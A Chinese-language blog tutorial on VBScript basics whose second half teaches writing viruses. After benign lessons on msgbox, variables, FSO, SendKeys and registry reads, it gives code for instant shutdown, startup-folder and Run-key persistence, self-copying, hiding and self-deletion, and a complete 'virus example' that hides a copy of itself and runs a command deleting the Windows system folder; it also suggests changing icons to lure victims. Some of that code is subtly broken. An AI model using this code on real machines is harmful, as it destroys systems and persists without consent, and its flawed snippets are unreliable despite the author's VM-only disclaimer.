vbs基础教程

vbs基础教程vbs基础教程前言笔者学习vbs的资源来源于博客中的文章,写成博文时,有些难免理解错误,遇到错误的地方,请提醒我改正,谢谢。有些部分使用了其它博文的资料参考。1.创建vbs脚本,HelloWorld!鼠标右键,创建文本文档,将后缀改为.vbs,右键文件,点击编辑,输入以下代码msgbox”HelloWorld!”保存,双击打开,弹出了提示框,点击确定,提示框就消失了(记得要用英文标点符号)msgbox是vbs的内置函数,语法:msgbox”提示框内容”,常量,“提示框标题”加括号则有返

vbs基础教程

vbs基础教程

前言
笔者学习vbs的资源来源于博客中的文章,写成博文时,有些难免理解错误,遇到错误的地方,请提醒我改正,谢谢。有些部分使用了其它博文的资料参考。

1.创建vbs脚本,Hello World!
鼠标右键,创建文本文档,将后缀改为.vbs,右键文件,点击编辑,输入以下代码

msgbox”Hello World!”
保存,双击打开,弹出了提示框,点击确定,提示框就消失了(记得要用英文标点符号)

msgbox是vbs的内置函数,语法:
msgbox”提示框内容”,常量,“提示框标题”
加括号则有返回值。这些有些复杂,会以后再学。

2.变量
dim number
number=123456
msgbox number

上面的代码是什么意思?首先,dim可以新建变量,后面跟着变量名,number就是变量名。如果要创建多个变量,可以加逗号,如:

dim number1,number2,number3
(创建变量number1、number2、number3)

代码中的number=123456意思就是将number设定为123456
最后一个就是显示number这个变量的数值了。注意:显示变量时不能打引号。

3.输入函数
dim password
password=Inputbox(” 输入您的密码”,” 密码 “)
msgbox password

Inputbox是vbs中可以接收用户输入的函数,语法:
Inputbox(“内容”,“标题”)

4.将对象引用赋给变量,并运行程序
dim Objshell
set Objshell=CreateObject(“Wscript.Shell”)
objShell.Run “calc”

运行后,打开了计算器。
run 函数有三个参数,第一个参数是程序的路径,第二个是程序在窗口的形式,(0 是在后台运行, 1 表示正常运行)
set将一对象引用赋给变量, CreateObject 可以访问windows 系统内安装的所有 com 对象,run就是运行外部程序的函数,Wscript.Shell 提供读取系统信息的函数,calc则是计算器的名字。
本单元有些难,但很重要,请牢记。

5.运行外部程序
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run””“C:\Users\123abc\AppData\Roaming\360se6\Application\360se.exe”””

第一行我就不用讲了,而第二行也用到了run函数。如果要运行外部程序,必须要加三个引号。

6.FSO常见使用
常见的有复制、剪切、删除文件。
复制:copyfolder
剪切:movefolder
删除:deletefolder
首先,创建模型:
set fso= wscript.createobject(“scripting.filesystemobject”)
复制:
fso.copyfolder “c:/Windows” “d:/Windows”
如果d盘存在Windows文件夹,复制就会停止,可以用true强制覆盖。如:
fso.copyfolder “c:/Windows” “d:/Windows”,true
删除:
fso.deletefolder(“c:/Windows”)
剪切:
fso.movefolder “c:/Windows” “d:/Windows”
不过,记得创建FSO的模型哦!

7.msgbox的常量
严重错误 vbCritical 16
惊叹号 vbExclamation 48
关键信息 vbInformation 64
疑问号 vbQuestion 32

输入以下代码:

msgbox”hello world!”,16,“系统提示”
msgbox”hello world!”,48,“系统提示”
msgbox”hello world!”,64,“系统提示”
msgbox”hello world!”,32,“系统提示”

执行后,提示框会有不同的符号。

8.SendKeys模拟键盘
Set WshShell=WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 2000
WshShell.AppActivate ” 无标题 – 记事本” ‘寻找可执行程序的标题框
WshShell.SendKeys “hello”

wshshell.SendKeys中的SendKeys是模拟键盘,引号中输入你要输入的英文、数字或者标点,但不可以输中文。

如果要按下特殊键,需要用符号代替。
Shift —— +
Ctrl —— ^
Alt —— %
其余特殊键用大括号括起来即可,如:
WshShell.SendKeys “{ENTER}”

9.语音
要用到SPAI。
SAPI(The Microsoft Speech API),软件中的语音技术包括两方面的内容,一个是语音识别(speech recognition) 和语音合成(speech synthesis)。这两个技术都需要语音引擎的支持。

CreateObject(“SAPI.SpVoice”).Speak”你好”

你好可以随意替换,升级版:

dim say
say=Inputbox(” 请输入你想说的话 :”,” 语音 “)
CreateObject(“SAPI.SpVoice”).Speak say

这时,就要取消引号,因为使用了变量say。

10.条件及循环
If 条件 then
条件满足时代码
End if

规定次数循环:
For 计数器变量名称=起始计数值 to 结束计数值
执行循环体内容
Next

条件满足时执行则使用如下代码:
Do while 条件
执行循环体内容
Loop

条件不满足时执行则使用如下代码:
Do until 条件
执行循环体内容
Loop

11.读取注册表

set ws=wscript.createobject(“wscript.shell”)
a=ws.regread(“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz”)
msgbox a

也就是读取HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz ,第二行是将a设为HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/nwiz 的内容,第三行即为输出。

vbs程序讲解及实例

病毒(不可对人使用,可以使用VM虚拟机来测试)

初级

立刻关机

dim wshshell
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “shutdown -s -t 0”,0

等等…

这些病毒太明显,容易被清除,并且是以双击的打开方式,接下来,就说说开机自启动的方法:
将以下代码写在脚本前面
set fso = createobject(“scripting.filesystemobject”)
set ws = createobject(“wscript.shell”)
pt = ws.specialfolders(“startup”) & “”
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
set WshShell = WScript.CreateObject(“WScript.Shell”)
运行后自我删除:
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile WScript.ScriptFullName

中级

病毒需要自我复制,也需要隐藏自己,下面就是隐藏的办法:
Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2
Set f = fso.GetFile(“C:\abc.vbs”) ‘隐藏c盘中叫abc.vbs的文件
f.Attributes = f.Attributes Or Hidden

自我复制:
set copy=createobject(“scripting.filesystemobject”)
copy.getfile(wscript.scriptfullname).copy(“c:\123.vbs”) ‘把自己复制到c盘,复制体叫123.vbs

还有,WScript.ScriptFullName就是自身脚本的全部路径。所以,删除自己,复制自己都用到了WScript.ScriptFullName

此外,大部分病毒都会修改注册表:
path=“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/”
set ws=wscript.createobject(“wscript.shell”)
t=ws.regwrite(path & “键值”,“键值内容”)

当然,病毒程序如果出错,则会弹出错误提示框,所以要在程序前加此代码:
On Error Resume Next

如果需要引诱用户点击,可以改图标。关于改图标的博文,我下一次发表。

病毒实例

(这是我自己编的):

dim fso,copy,wshshell,Const Hidden
set fso=createobject(“scripting.filesystemobject”)
set copy=fso.getfile(wscript.scriptfullname)
copy.fso(“c:\users\computer virus.vbs”) ‘复制自身到c:\users\ 复制体叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile(“c:\users\computer virus.vbs”) ‘隐藏复制体
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “cmd/c del c:\Windows\system” ‘太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。你可以在命令提示符里输入del/?查看帮助.

这个病毒,有些简短,但是可以删除系统文件夹.当然你可以换成其他代码/命令。你也可以换成运行程序:自己写的Python,C/C++程序等等

病毒需要多个文件的配合,所以不要只用一个程序(vbs脚本),多个才更好!

最后,提醒大家:你要用你的知识维护计算机,而不是破坏计算机!如果你使用学到的知识对计算机进行破坏,将受到应有的惩罚!!!(你可以通过病毒探测系统漏洞,但不能对用户造成损失)

这篇博文就到这里了,后续笔者会更新博文。

今天的文章vbs基础教程分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/30856.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注